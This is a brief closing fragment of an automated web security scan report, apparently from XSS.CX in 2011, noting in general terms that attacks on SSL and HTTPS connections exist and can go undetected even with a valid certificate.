It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Wed Jul 20 05:55:44 CDT 2011.